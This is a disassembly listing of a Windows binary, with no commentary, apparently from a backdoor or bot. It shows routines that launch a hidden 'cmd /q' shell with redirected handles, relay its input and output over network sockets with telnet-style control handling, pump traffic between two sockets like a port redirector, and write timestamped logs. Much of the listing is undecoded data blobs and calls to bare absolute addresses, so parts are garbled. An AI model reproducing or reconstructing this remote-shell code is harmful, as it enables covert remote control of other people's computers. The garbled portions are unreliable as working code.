loc_410F09:				; CODE XREF: sub_410E26+DEj
		push	esi
		call	sub_41B0B1
		pop	ecx


loc_410F10:				; CODE XREF: sub_410E26+1Dj
		xor	eax, eax
		jmp	short loc_410F1A
; ---------------------------------------------------------------------------


loc_410F14:				; CODE XREF: sub_410E26+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_410F1A:				; CODE XREF: sub_410E26+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410E26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F1F	proc near		; CODE XREF: sub_410E26+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41B590
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_4270F8
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		nop
		call	near ptr 2700000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	near ptr 2650A41h
		nop
		test	eax, eax
		jz	short loc_410FDB
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43DEB8[eax], ecx
		nop
		call	near ptr 26507ADh
		jmp	short loc_410FF1
; ---------------------------------------------------------------------------


loc_410FDB:				; CODE XREF: sub_410F1F+9Aj
		nop
		call	near ptr 26709FBh
		push	eax
		push	offset unk_43447C
		call	sub_415220
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_410FF1:				; CODE XREF: sub_410F1F+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410F1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410FF8	proc near		; DATA XREF: sub_410CD5+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270E8
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_411021:				; CODE XREF: sub_410FF8+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_411089
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41105C


loc_411032:				; CODE XREF: sub_410FF8+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41104C
		cmp	dl, 0Dh
		jz	short loc_41104C
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_41104C:				; CODE XREF: sub_410FF8+44j
					; sub_410FF8+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411032


loc_41105C:				; CODE XREF: sub_410FF8+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAFC4
		test	eax, eax
		jle	short loc_411089
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411021
; ---------------------------------------------------------------------------


loc_411089:				; CODE XREF: sub_410FF8+2Dj
					; sub_410FF8+79j
		mov	esi, dword_42708C
		call	esi
		cmp	eax, 6Dh
		jz	short loc_4110A5
		call	esi
		push	eax
		push	offset dword_4344BC
		call	sub_415220
		pop	ecx
		pop	ecx


loc_4110A5:				; CODE XREF: sub_410FF8+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410FF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4110AA	proc near		; DATA XREF: sub_410CD5+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_4110C3:				; CODE XREF: sub_4110AA+39j
					; sub_4110AA+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAF8C
		test	eax, eax
		jle	loc_4111C8
		cmp	[ebp+var_10], ebx
		jbe	short loc_4110E5
		dec	[ebp+var_10]
		jmp	short loc_4110C3
; ---------------------------------------------------------------------------


loc_4110E5:				; CODE XREF: sub_4110AA+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_4111A8
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411155
		cmp	al, 7Fh
		jz	short loc_411155
		cmp	al, 3
		jnz	short loc_411110
		push	ebx
		push	ebx
		nop
		call	near ptr 2770000h
		jmp	short loc_41117C
; ---------------------------------------------------------------------------


loc_411110:				; CODE XREF: sub_4110AA+5Aj
		cmp	al, 15h
		jnz	short loc_411132
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411168
; ---------------------------------------------------------------------------


loc_411132:				; CODE XREF: sub_4110AA+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_411169
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411168
; ---------------------------------------------------------------------------


loc_411155:				; CODE XREF: sub_4110AA+52j
					; sub_4110AA+56j
		cmp	esi, ebx
		jbe	short loc_41117F
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_411168:				; CODE XREF: sub_4110AA+86j
					; sub_4110AA+A9j
		pop	ecx


loc_411169:				; CODE XREF: sub_4110AA+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAFC4
		test	eax, eax
		jle	short loc_4111C8


loc_41117C:				; CODE XREF: sub_4110AA+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_41117F:				; CODE XREF: sub_4110AA+ADj
		cmp	al, 0Dh
		jnz	loc_4110C3
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jz	short loc_4111C8
		xor	esi, esi
		jmp	loc_4110C3
; ---------------------------------------------------------------------------


loc_4111A8:				; CODE XREF: sub_4110AA+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_4111B9
		mov	[ebp+var_C], 1
		jmp	loc_4110C3
; ---------------------------------------------------------------------------


loc_4111B9:				; CODE XREF: sub_4110AA+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4110C3
; ---------------------------------------------------------------------------


loc_4111C8:				; CODE XREF: sub_4110AA+2Bj
					; sub_4110AA+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4110AA	endp

; ---------------------------------------------------------------------------
byte_4111CD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2C07o
		dd 2D4EC81h, 458B0000h,	57565308h, 0F08B106Ah, 2CBD8D5Bh
		dd 6AFFFFFFh, 0FC5D892Ch, 6AA5F359h, 5FF63301h,	0A8B889h
		dd 8D530000h, 5056EC45h, 0A38BE8h, 0CC48300h, 0EC45C766h
		dd 75FF0002h, 7415FFC0h, 6A004CAFh, 26A5706h, 0EE458966h
		dd 0FFF07589h, 4CAFF415h, 8BF88B00h, 0C069C445h, 234h
		dd 0BCB88953h, 8D0043DEh, 5750EC45h, 0AFA015FFh, 0C085004Ch
		dd 121850Fh, 0A6A0000h,	9C15FF57h, 85004CAFh, 10850FC0h
		dd 0FF000001h, 0B5FFC075h, 0FFFFFF2Ch, 0FF99A2E8h, 8D5059FFh
		dd 0FFFD2C85h, 0B8C068FFh, 0E8500042h, 0A606h, 3910C483h
		dd 2075D075h, 2C858D56h, 0FFFFFFFDh, 8D50CC75h,	0FFFF3085h
		dd 0B5FF50FFh, 0FFFFFF2Ch, 0FF87CDE8h, 14C483FFh, 0FD2C858Dh
		dd 0E850FFFFh, 3EF8h, 0FC458D59h, 0DC458D50h, 15FF5750h
		dd 4CB008h, 8BC475FFh, 45B70FD8h, 758950DEh, 0E075FFD8h
		dd 0B00015FFh, 8D50004Ch, 0FFFD2C85h, 456868FFh, 0E8500043h
		dd 0A59Ah, 2C858D53h, 6AFFFFFDh, 0FBE85019h, 89FFFF9Dh
		dd 0C069C845h, 234h, 83C44D8Bh,	888920C4h, 43DEB4h, 5008458Dh
		dd 0FF2C858Dh, 5056FFFFh, 4113D268h, 0E8565600h, 225ECD8h
		dd 0C84D8B90h, 234C969h, 0C63B0000h, 0DEC48189h, 13740043h
		dd 0FD87539h, 0FFFF6385h, 90056AFFh, 24FBDEE8h,	90EDEB02h
		dd 25F6A6E8h, 858D5002h, 0FFFFFD2Ch, 43452C68h,	1FE85000h
		dd 830000A5h, 39E90CC4h, 57FFFFFFh, 0B00C15FFh,	75FF004Ch
		dd 2C858DC0h, 68FFFFFDh, 4344F8h, 0A4FCE850h, 0C4830000h
		dd 0D075390Ch, 8D562075h, 0FFFD2C85h, 0CC75FFFFh, 30858D50h
		dd 50FFFFFFh, 0FF2CB5FFh, 0C3E8FFFFh, 83FFFF86h, 858D14C4h
		dd 0FFFFFD2Ch, 3DEEE850h, 75FF0000h, 0A04CE8C4h, 5959FFFFh
		dd 31E89056h, 5F022BECh, 8B555B5Eh, 0D4EC81ECh,	8B000005h
		dd 56530845h, 8B2C6A57h, 0BD8D59F0h, 0FFFFFF38h, 758BA5F3h
		dd 89016AD4h, 0F6690875h, 234h,	0BCB68D5Fh, 890043DEh
		dd 0ACB8h, 8BDB3300h, 0F845C706h, 5, 0FA308589h, 458DFFFFh
		dd 8D5350F8h, 0FFFA2C85h, 535053FFh, 89FC5D89h,	0FFFA2CBDh
		dd 5C15FFFFh, 85004CAFh, 0FF1875C0h, 0C15FF36h,	0FF004CB0h
		dd 0C7E80875h, 59FFFF9Fh, 0ADE89053h, 53022BEBh, 0FB30858Dh
		dd 868FFFFh, 50000004h,	15FF36FFh, 4CAF8Ch, 187FC085h
		dd 15FF36FFh, 4CB00Ch, 0E80875FFh, 0FFFF9F96h, 0E8905359h
		dd 22BEB7Ch, 0FB30BD80h, 0F04FFFFh, 1ED85h, 31BD8000h
		dd 1FFFFFBh, 1E0850Fh, 5D380000h, 8D7774BCh, 8D50BC45h
		dd 0FFFB3885h, 0BDE850FFh, 590000ABh, 7459C085h, 0BC458D61h
		dd 38858D50h, 50FFFFFBh, 43463068h, 3D52E800h, 680000h
		dd 8D000004h, 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh
		dd 5DFFFFFBh, 0A0A3E8h,	18C48300h, 0FB30858Dh, 6A53FFFFh
		dd 36FF5008h, 0AFC415FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch
		dd 9F00E808h, 5359FFFFh, 0EAE6E890h, 106A022Bh,	53E8458Dh
		dd 0A06AE850h, 8B660000h, 0FFFB3285h, 0CC483FFh, 0EA458966h
		dd 0FB34858Bh, 66AFFFFh, 66026A57h, 2E845C7h, 0EC458900h
		dd 0AFF415FFh, 0F88B004Ch, 75FFFF83h, 815FF5Dh,	50004CAFh
		dd 4345F068h, 3CBAE800h, 680000h, 8D000004h, 0FFFB3885h
		dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh,	0A00BE8h
		dd 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h,	0AFC415FFh
		dd 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9E68E808h,	5359FFFFh
		dd 2BEA4FE8h, 458D9002h, 50106AE8h, 1C15FF57h, 83004CAFh
		dd 5D75FFF8h, 0AF0815FFh, 6850004Ch, 4345ACh, 3C4BE8h
		dd 4006800h, 858D0000h,	0FFFFFB38h, 9D885053h, 0FFFFFB30h
		dd 0FB3185C6h, 0E85BFFFFh, 9F9Ch, 8D14C483h, 0FFFB3085h
		dd 86A53FFh, 0FF36FF50h, 4CAFC415h, 0FF36FF00h,	4CB00C15h
		dd 875FF00h, 0FF9DF9E8h, 905359FFh, 2BE9DFE8h, 4006802h
		dd 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h
		dd 0E85AFFFFh, 9F50h, 8D0CC483h, 0FFFB3085h, 86A53FFh
		dd 0FF36FF50h, 4CAFC415h, 5736FF00h, 39E8h, 57595900h
		dd 0B00C15FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9D9CE808h
		dd 5359FFFFh, 2BE983E8h, 36FF9002h, 0B00C15FFh,	75FF004Ch
		dd 9D84E808h, 5359FFFFh, 0E96AE890h
; ---------------------------------------------------------------------------
		sub	eax, [edx]
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4116AC:				; CODE XREF: ___:0041175Bj
					; ___:0041178Bj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]


loc_4116C4:				; CODE XREF: ___:004116D2j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4116D4
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4116C4


loc_4116D4:				; CODE XREF: ___:004116C9j
		cmp	ecx, 1
		jnz	short loc_4116E9
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2


loc_4116E9:				; CODE XREF: ___:004116D7j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CAF5C
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4CAE60
		test	eax, eax
		jz	short loc_411749
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CAF8C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791


loc_411749:				; CODE XREF: ___:0041171Bj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAE60
		test	eax, eax
		jz	loc_4116AC
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAF8C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4116AC


loc_411791:				; CODE XREF: ___:00411730j
					; ___:00411747j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
word_411796	dw 8B55h		; DATA XREF: sub_401ACD+210Do
					; sub_40BACD+106o
		dd 7CEC81ECh, 8B000008h, 56530855h, 33016A57h, 0A9B958DBh
		dd 8B000000h, 8CBD8DF2h, 53FFFFFCh, 0A5F3026Ah,	0FE9C85FFh
		dd 26AFFFFh, 89F04589h,	4589EC45h, 0A08289F8h, 0FF000002h
		dd 4CAFF415h, 83F08B00h, 5675FFFEh, 19068h, 40E89000h
		dd 390224F7h, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh
		dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 5FE8FFFFh
		dd 83FFFF82h, 858D14C4h, 0FFFFF888h, 398AE850h,	0B5FF0000h
		dd 0FFFFFE98h, 0FF9BE5E8h, 535959FFh, 0E7CAE890h, 458D022Bh
		dd 50046AF0h, 0FFFFBFh,	57046A00h, 5415FF56h, 8D004CAFh
		dd 46AEC45h, 57FB6A50h,	5415FF56h, 8B004CAFh, 0FFFE9885h
		dd 69106AFFh, 234C0h, 0B0895300h, 43DEBCh, 50D4458Dh, 9D17E8h
		dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 0AF7415FFh
		dd 8966004Ch, 458DD645h, 50106AD4h, 0D85D8956h,	0AFA015FFh
		dd 0F883004Ch, 681975FFh, 1388h, 24F67AE8h, 8DFF9002h
		dd 0FFFFFE9Ch, 0E90875FFh, 347h, 0FC90858Dh, 6868FFFFh
		dd 50004290h, 9BF1E8h, 0C33B5900h, 0FC458959h, 90684C75h
		dd 90000001h, 24F646E8h, 858D5302h, 0FFFFF888h,	0FF24B5FFh
		dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF816DE8h
		dd 88858DFFh, 50FFFFF8h, 389BE8h, 98B5FF00h, 0E8FFFFFEh
		dd 0FFFF9AF6h, 531CC483h, 2BE6DBE8h, 7D8B9002h,	0A09F3908h
		dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h
		dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h
		dd 1FFh, 9C2AE800h, 0C4830000h,	0E4458D0Ch, 858D5350h
		dd 0FFFFF784h, 0FF535053h, 4CAF5C15h, 0FC08500h, 2398Eh
		dd 0D128A000h, 0CF8B0043h, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh
		dd 45C7FFFFh, 10F4h, 66ABF300h,	458DAAABh, 458D50F4h, 8D5350C4h
		dd 0FFFF3085h, 8068FFh,	56500000h, 0AF4C15FFh, 75FF004Ch
		dd 0F84589C8h, 0B00015FFh, 8D50004Ch, 0E850B045h, 9EAEh
		dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h,	0FFFFFF31h
		dd 0BB850F01h, 8D000000h, 0FFFD9485h, 0E1E850FFh, 53000095h
		dd 0FC75FF53h, 0B7E3E8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh
		dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah
		dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 96E1E8h, 20C48300h
		dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h
		dd 0FF5650FFh, 4CAFD815h, 0B0458D00h, 88858D50h, 68FFFFF8h
		dd 43469Ch, 9E18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh
		dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h
		dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF7FD9E8h, 14C483FFh, 0F888858Dh
		dd 0E850FFFFh, 3704h, 110E959h,	0BD800000h, 0FFFFFF31h
		dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh
		dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h
		dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h
		dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h
		dd 200BFh, 9E0C100h, 5053C72Bh,	0E8FC75FFh, 0B6D4h, 8DFC75FFh
		dd 0FFFA8C85h, 16A57FFh, 95F0E850h, 0C4830000h,	8DF88B1Ch
		dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h
		dd 15FF5650h, 4CAFD8h, 6E75FB3Bh, 50B0458Dh, 0F888858Dh
		dd 7C68FFFFh, 50004346h, 9D21E8h, 0CC48300h, 0FF289D39h
		dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh
		dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 8D14C483h
		dd 0FFF88885h, 0DE850FFh, 0FF000036h, 4CDA7C05h, 16EB5900h
		dd 8DF475FFh, 5350C445h, 7068096Ah, 56004346h, 0AFD815FFh
		dd 5D39004Ch, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh,	4CB00C15h
		dd 0FC75FF00h, 9482E8h,	9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h
		dd 0FE98B5FFh, 1FE8FFFFh, 59FFFF98h, 5E89053h, 68022BE4h
		dd 3E8h, 24F326E8h, 0E8579002h,	0FFFFFB8Ah, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		nop
		call	near ptr 27700F5h
		lea	eax, [ebp-114h]
		push	104h
		push	eax
		nop
		call	near ptr 2660A7Ah
		lea	eax, [ebp-114h]
		push	offset asc_434E5C ; "\\"
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset dword_429118
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_411C7A
		push	1
		pop	eax
		jmp	short loc_411CF1
; ---------------------------------------------------------------------------


loc_411C7A:				; CODE XREF: ___:00411C73j
		movzx	eax, word ptr [ebp-4]
		push	dword ptr [ebp+8]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		push	eax
		movzx	eax, word ptr [ebp-10h]
		push	eax
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_41BE06
		push	esi
		call	sub_41B05B
		add	esp, 28h
		cmp	dword ptr [ebp+98h], 0
		jnz	short loc_411CEF
		push	dword ptr [ebp+8]
		lea	eax, [ebp-314h]
		push	offset dword_434E2C
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+94h]
		push	eax
		lea	eax, [ebp+14h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	sub_409A72
		add	esp, 24h


loc_411CEF:				; CODE XREF: ___:00411CB6j
		xor	eax, eax


loc_411CF1:				; CODE XREF: ___:00411C78j
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
dword_411CF4	dd 81EC8B55h, 8DCECh, 8458B00h,	83575653h, 0FFF724A5h
					; DATA XREF: sub_401ACD+4508o
		dd 256A00FFh, 0FC6583h,	8DF08B59h, 0FFFF24BDh, 0C7A5F3FFh
		dd 9080h, 100h,	0FFB900h, 0C0330000h, 0F728BD8Dh, 0ABF3FFFFh
		dd 0AEF815FFh, 4D8D004Ch, 513C6AB8h, 0F8458950h, 0AF1015FFh
		dd 0BB004Ch, 6A000002h,	0D4E89008h, 0FF0224F1h,	4CAEF815h
		dd 0F8453B00h, 4D8D7574h, 513C6AB8h, 0F8458950h, 0AF1015FFh
		dd 458D004Ch, 858D50B8h, 0FFFFFD24h, 24858D50h,	68FFFFFBh
		dd 434E8Ch, 9AF8E850h, 0EC810000h, 84h,	0FF24B58Dh, 858DFFFFh
		dd 0FFFFFB24h, 8B59256Ah, 0A5F350FCh, 0FFFE66E8h, 0FC4589FFh
		dd 24858D53h, 6AFFFFFDh, 0D1E85000h, 81000097h,	0A4C4h
		dd 24858D00h, 53FFFFFBh, 0E850006Ah, 97BCh, 0C70CC483h
		dd 46C40845h, 106A0043h, 0AE4815FFh, 0BF0F004Ch, 8458BF0h
		dd 57FC788Bh, 0AF4015FFh, 0C4F6004Ch, 6A7B7480h, 4815FF14h
		dd 66004CAEh, 1F74C085h, 7EFFFE83h, 40FF831Ah, 0FF83157Eh
		dd 0C7107D5Bh, 0F724BD84h, 1FFFFh, 7FE90000h, 6A000001h
		dd 4815FF14h, 66004CAEh, 1E74C085h, 2E7DF685h, 7E40FF83h
		dd 5BFF8315h, 84C7107Dh, 0FFF724BDh, 2FFh, 154E900h, 0F6850000h
		dd 84C7107Dh, 0FFF724BDh, 3FFh,	140E900h, 84C70000h, 0FFF724BDh
		dd 4FFh, 130E900h, 0B48B0000h, 0FFF724BDh, 0BD848DFFh
		dd 0FFFFF724h, 840FF685h, 11Ah,	8D002083h, 0FFFD2485h
		dd 8FF83FFh, 0E8137550h, 9140h,	2305A480h, 0FFFFFDh, 0F8E959h
		dd 2DE80000h, 3D000091h, 1B9h, 0FF257659h, 4CAEF815h, 0B84D8D00h
		dd 50513C6Ah, 0AF1015FFh, 458D004Ch, 858D50B8h,	0FFFFFD24h
		dd 4E746850h, 41EB0043h, 0F0DFF83h, 8F85h, 24858D00h, 50FFFFFDh
		dd 90EBE8h, 59C08500h, 0A8840Fh, 15FF0000h, 4CAEF8h, 6AB84D8Dh
		dd 0FF50513Ch, 4CAF1015h, 0B8458D00h, 24858D50h, 50FFFFFDh
		dd 434E6068h, 24858D00h, 50FFFFFBh, 9959E8h, 84EC8100h
		dd 8D000000h, 0FFFF24B5h, 24858DFFh, 6AFFFFFBh,	0FC8B5925h
		dd 0E8A5F350h, 0FFFFFCC7h, 53FC4589h, 0FD24858Dh, 6AFFFFh
		dd 9632E850h, 0C4810000h, 0A4h,	0FB24858Dh, 6A53FFFFh
		dd 1DE85000h, 83000096h, 2EEB0CC4h, 7401FE83h, 3FE8314h
		dd 0FE830F74h, 83057402h, 1A7504FEh, 0EB0875FFh, 8458B07h
		dd 5007C083h, 0FD24858Dh, 0E850FFFFh, 9F1Ch, 45835959h
		dd 7D811408h, 434DF408h, 278C0F00h, 83FFFFFEh, 0F00FC7Dh
		dd 0FFFD8E84h, 28B5FFFFh, 0E8FFFFFFh, 0FFFF9446h, 90006A59h
		dd 2BE02BE8h
		db 2
byte_411FD5	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+412Ao
		dd 102B4B8h, 9B3EE800h,	558B0000h, 6A575608h, 0F28B5801h
		dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h
		dd 106AF633h, 56E4458Dh, 9582E850h, 0C4830000h,	45C7660Ch
		dd 560002E4h, 0AF7415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h
		dd 0FF8BE2E8h, 0FF5059FFh, 4CAFB415h, 36A5600h,	4589026Ah
		dd 0F415FFE8h, 8B004CAFh, 0FFFF83F8h, 75FC7D89h, 815FF5Dh
		dd 50004CAFh, 0FD4C858Dh, 0FC68FFFFh, 50004357h, 9821E8h
		dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch,	50D475FFh
		dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 79E8E8FFh, 0C483FFFFh
		dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF9371E8h
		dd 565959FFh, 0DF56E890h, 458B022Bh, 69106AD0h,	234C0h
		dd 0BCB88900h, 8D0043DEh, 5750E445h, 0AFA015FFh, 0F883004Ch
